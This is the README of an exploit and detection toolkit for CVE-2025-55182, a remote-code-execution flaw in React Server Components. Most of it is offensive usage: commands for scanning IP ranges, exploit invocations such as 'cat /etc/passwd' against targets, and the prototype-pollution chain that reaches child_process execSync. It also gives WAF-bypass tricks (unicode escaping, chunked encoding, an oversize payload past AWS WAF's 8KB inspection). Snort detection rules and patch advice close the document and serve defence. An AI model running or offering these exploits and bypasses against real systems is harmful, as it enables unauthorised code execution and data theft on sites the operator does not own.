CVE-2025-55182 POC & Detection

Collection of exploit and detection tools for React Server Components (RSC) Unsafe Deserialization vulnerability

Vulnerability Information

• CVE-ID: CVE-2025-55182
• Affected Versions: React 19.x, Next.js 15.x/16.x (when using App Router)
• Attack Vector: RCE via prototype pollution during RSC Flight protocol deserialization
• Severity: Critical (CVSS 10.0)

📦 Components

1. Vulnerable Environment (Docker)

• docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rc
• vulnerable-app/ - Vulnerable Server Action code

2. Exploit Tool

• exploit_advanced.py - Supports multiple attack techniques (Basic/Advanced/Chunked/Oversize)

3. Vulnerability Scanner

• rsc_vulnerability_checker_multi.py - Multi-target vulnerability diagnostic tool

4. IDS Detection Rules

• rules_priority_based - Snort priority-based detection rule set

🚀 Quick Start

1. Set Up Vulnerable Environment

cd vulnerable-app
docker-compose up -d
# Visit http://localhost:3000

2. Vulnerability Scan

# Single URL test
python3 rsc_vulnerability_checker_multi.py http://localhost:3000

# Batch scan multiple URLs
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

# IP range scan
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20

# Read from file
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv

3. Run Exploit

# Basic attack
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic

# Advanced attack (prototype chain + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced

# WAF bypass - Unicode encoding
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass

# WAF bypass - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked

# WAF bypass - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536

# Try all techniques sequentially
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v

4. Network Detection Test

# Capture attack traffic
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump

# Analyze with Snort
snort -c snort.conf -r attack.pcap -A console -k none

Exploit Technique Details

Basic Mode

Direct RSC Flight payload transmission

# Direct Server Action call
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>

["$@1",["$","$L2",null,{...}]]

Advanced Mode

RCE via prototype pollution

// Core principle
{
  "then": "$1:__proto__:then",           // Triggers Chunk.prototype.then
  "_response": {                          // Inject fake response
    "_formData": {...},
    "_prefix": ""
  },
  "$1:constructor:constructor": Function  // Access Function constructor
}

Attack chain:

1. Set Chunk.prototype.then via __proto__ pollution
2. Control FormData by injecting _response object
3. $B handler calls response._formData.get(id)
4. Access Function through constructor:constructor chain
5. Execute process.mainModule.require('child_process').execSync(cmd)

Chunked Mode

Pattern distribution using Transfer-Encoding

POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked

10
["$@1",["$","
15
$L2",null,{"then
...

• Bypass WAF pattern matching (keyword splitting)
• Cannot be inspected as a single buffer

Oversize Mode

Bypass AWS WAF size limit

payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: inspects only the first 8KB
# Actual attack code placed after 8KB

📊 Detection Rule Priority

P0 Rules (SID 2000xxx) - Immediate Block

• process.mainModule.require + child_process + execSync
• __proto__ + resolved_model + RCE module
• Access to /etc/passwd, /etc/shadow, .ssh/id_rsa

📋 Requirements

Mandatory

• Docker & Docker Compose
• Python 3.8+
• requests library
  root@kitploit:~

  pip install requests
  

Optional (for detection testing)

• Snort 2.9+
• tcpdump

🔍 Vulnerability Scanner Usage

Basic Usage

# Single URL
python3 rsc_vulnerability_checker_multi.py http://target.com

# Multiple URLs
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

Advanced Usage

# IP range scan (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000

# IP range scan (hyphen)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50

# File input/output
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv

# Verbose mode
python3 rsc_vulnerability_checker_multi.py http://target.com -v

Output Format

[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Not vulnerable
[ERROR] http://offline.com:3000 - Connection timeout

🎯 Exploit Tool Options

Attack Modes

• --basic: Direct RSC Flight payload transmission
• --advanced: Prototype chain + thenable technique
• --chunked: Transfer-Encoding split transmission
• --oversize <size>: Oversize payload (default: 65536 bytes)
• --all: Try all techniques sequentially

WAF Bypass

• --waf-bypass: Unicode encoding (constructor → \u0063onstructor)
• --chunked: Pattern distribution
• --oversize: Bypass AWS WAF size limit

Other

• -v, --verbose: Detailed output
• -t, --timeout: Request timeout (default: 10 seconds)

🛡 Defense and Detection

Application Level

1. Upgrade React 19.0.0-rc → 19.0.0 (stable)
2. Upgrade Next.js 15.0.3 → 15.1.0+
3. Strengthen Server Actions input validation
4. Disable experimental features

Network Level

1. Apply Snort rules (rules_priority_based)
2. WAF policies:
   • Block __proto__ keyword
   • Block process.mainModule.require pattern
   • Limit POST body size (< 1MB)
3. Rate Limiting (limit Server Action requests)

Monitoring

# Snort real-time monitoring
snort -c snort.conf -i eth0 -A console

# Log file analysis
snort -c snort.conf -r network.pcap -A fast

This material is for research/education/diagnostic verification purposes only.